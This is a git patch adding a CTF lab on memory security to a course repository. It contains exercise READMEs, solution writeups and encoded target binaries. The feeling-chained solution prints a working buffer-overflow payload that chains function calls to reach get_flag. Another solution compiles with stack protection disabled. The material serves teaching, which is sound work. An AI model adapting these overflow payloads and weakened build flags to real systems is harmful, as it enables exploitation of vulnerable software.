From ae57d782c579b95cd41b678960c1a330ae0cd1f4 Mon Sep 17 00:00:00 2001 From: Dimitrie Valu Date: Thu, 29 Aug 2024 05:30:38 +0300 Subject: [PATCH] chapters/memory-security/ctf: Add CTF lab This commit adds the adapted material, including references and sentence rephrasing for enhanced readability, as well as solution writeups. Signed-off-by: Dimitrie Valu --- .../drills/tasks/feeling-chained/README.md | 7 ++++ .../tasks/feeling-chained/solution/README.md | 7 ++++ .../tasks/feeling-chained/support/buff-ovf3 | Bin 0 -> 10392 bytes .../tasks/hidden-in-plain-sight-1/README.md | 7 ++++ .../solution/README.md | 11 +++++++ .../hidden-in-plain-sight-1/solution/main.c | 10 ++++++ .../hidden-in-plain-sight-1/support/link | Bin 0 -> 4772 bytes .../tasks/hidden-in-plain-sight-2/README.md | 7 ++++ .../solution/README.md | 30 ++++++++++++++++++ .../hidden-in-plain-sight-2/solution/main.c | 10 ++++++ .../hidden-in-plain-sight-2/support/link2 | Bin 0 -> 5060 bytes .../drills/tasks/indirect-business/README.md | 8 +++++ .../indirect-business/solution/README.md | 6 ++++ .../tasks/indirect-business/support/buff-ovf | Bin 0 -> 10220 bytes .../ctf/drills/tasks/look-at-him-go/README.md | 7 ++++ .../tasks/look-at-him-go/solution/README.md | 4 +++ .../tasks/look-at-him-go/support/dynamic | Bin 0 -> 10284 bytes .../ctf/drills/tasks/playing-god/README.md | 6 ++++ .../tasks/playing-god/solution/README.md | 4 +++ .../drills/tasks/playing-god/support/dynamic2 | Bin 0 -> 9976 bytes .../drills/tasks/rip-my-buffers-off/README.md | 6 ++++ .../rip-my-buffers-off/solution/README.md | 6 ++++ .../rip-my-buffers-off/support/buff-ovf2 | Bin 0 -> 10292 bytes .../ctf/drills/tasks/rop/README.md | 11 +++++++ .../ctf/drills/tasks/rop/solution/README.md | 14 ++++++++ .../ctf/drills/tasks/rop/support/rop | Bin 0 -> 11632 bytes .../memory-security/ctf/reading/README.md | 13 ++++++++ config.yaml | 19 +++++++++++ 28 files changed, 193 insertions(+) create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/main.c create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/support/link2 create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/support/buff-ovf create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/support/dynamic create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/support/dynamic2 create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/support/buff-ovf2 create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/support/rop create mode 100644 chapters/memory-security/ctf/reading/README.md diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md b/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md new file mode 100644 index 00000000..f119168c --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md @@ -0,0 +1,7 @@ +# Feeling chained + +Follow the sequence of operations in the functions of the binary at `feeling-chained/buff-ovf3`. +Identify the necessary ones and... you already know how to call them. + +If you cannot find your way through this exercise, look for variables that you need to overwrite with specific values in order to finish the exploit, and think of their positioning on the stack. +The previously mentioned [online example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85) is still highly relevant. diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md new file mode 100644 index 00000000..478790f8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md @@ -0,0 +1,7 @@ +# Solution + +By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` need to be called in this order, with those exact parameters. +`f3` is the one that actually calls `get_flag()`. +Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made). + +`python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\xa6\x86\x04\x08" + b"\x51\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3` diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3 b/chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3 new file mode 100644 index 0000000000000000000000000000000000000000..491ff9993542683976c85896a56731c335ce308c GIT binary patch literal 10392 zcmeHNdvsgHnV&0N*|O}&itQve35x&+5{TtToCl92ekqB;1SiCh0O3ZKt{x|{j!>!sWVPy=}lWXw6x%#>Sgh(bS#x|zGcXSQU$?--#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@hy}I57#a{B)S`EylKynM&;@fV z*LL5~Sr`)GOOFg7S^+dtCX8AbLK!_ZD17*6qx;%Bx*H5cIVOcz-PfOq;r9!%knoX; z2GUXC3ymaT&xD9^rDRA?rDMs&JVJvEO{Tty48{%Nlil+H_2EO1@EHt~e4MP%Ny-uO z>CwXUjD}#sqRgV^JT*&LI4TGX#Db_iY0xs7#*y~HCBlc7WdJV#czS;(f+B%L1aDS> zj3vTJ3lH@7r}QC}q~owx58RB3aNGsXyaO34kF1xm(+u>E zfo8M>RO&D?xfz)e7wz#5a}Y=nxRt2ObO$o;AF0P!>rEhxOssmzXFh<;`%2=B!E!*n zz>DhzDflZ1Mq<=sZ01BG*dEIs`@jV>i%h)^WX5c@(Bp*;^>FH!{h%Ii~{)!azQuMBu@HUMS9#*&O+}AWGm4g z)8ojNJ?^~^W3bK0PKsrn#J*S1qhGiuJq5kDC@3VWA5Vj(J?b&GIE2Q83OWRq-oF61 z^cZuVh919_TFKIz27_@Ko6gvUzjv}^)FsaR1~MaD>M;iL{0Y6EL(Z|F9%Cc^ek)ht z0Z3c)-y_Iu4)qw*p8pf}Sk}^$u@f9y51y5*_Wc$NOOG*3J@iO#G%%toJh*@>@d4EcAZ?JdbOL literal 0 HcmV?d00001 diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md new file mode 100644 index 00000000..a8723282 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md @@ -0,0 +1,7 @@ +# Hidden in plain sight + +The `link` binary provides everything you need. +Find a way to use it. +> **TIP:** If you want a main function to be done right, you gotta do it yourself. + +If you are having trouble solving this exercise, check [this](https://stackoverflow.com/questions/15441877/how-do-i-link-object-files-in-c-fails-with-undefined-symbols-for-architecture). diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md new file mode 100644 index 00000000..f3991313 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md @@ -0,0 +1,11 @@ +# Solution + +Looking at the disassembly of the `link` binary, it is noticeable that there is no `main` function. +This is a clear indicator that we have to find a way to call it ourselves. + +We define a `get_flag()` function prototype as void (you may be able to skip this step, but there will be an implicit declaration error during compilation) and we call it in our main function. +We then compile and assemble the file: +`gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c main.c` + +We then link it to the `link` binary: +`gcc -no-pie -m32 link main.o -o a.out` diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c new file mode 100644 index 00000000..43bf51e8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: BSD-3-Clause + +void get_flag(void); + +int main(void) +{ + get_flag(); + return 0; +} + diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link new file mode 100644 index 0000000000000000000000000000000000000000..bf93bb5d43ceb3d16f898ec6d28af0a426a6b27e GIT binary patch literal 4772 zcma)9YiwM_6`t9Ly?fWO9d8Ipot8yONOk0NtLvyKPXhBswff^!5`Fz+F}AF2-LbiP+NplKtxR;sHv1f3vS)-n>*Lu z&`RydJKy=vIdf*_%-nOY52i-;NGXNar0|OsCdA%0*V3n8tGGz45o7h!x6hv4^h)YX z5ZYH#?_HtbZMwXYI`6_c!tB|W!Wq91XBL;1mS$gSuczLcOT7o}sHge!lWS)E}yTTg5ra)J34hv&ZW*C9bKxA zojv@5^Zwk}xw+Kaa-r>cF?&YV=jX=G%)tjy5N!U;dimn)y9ZU!*Sb%-bN(0G{9Nk% z(NS3+J70fsF7=jN=zgvK=8^VU&bBhap%>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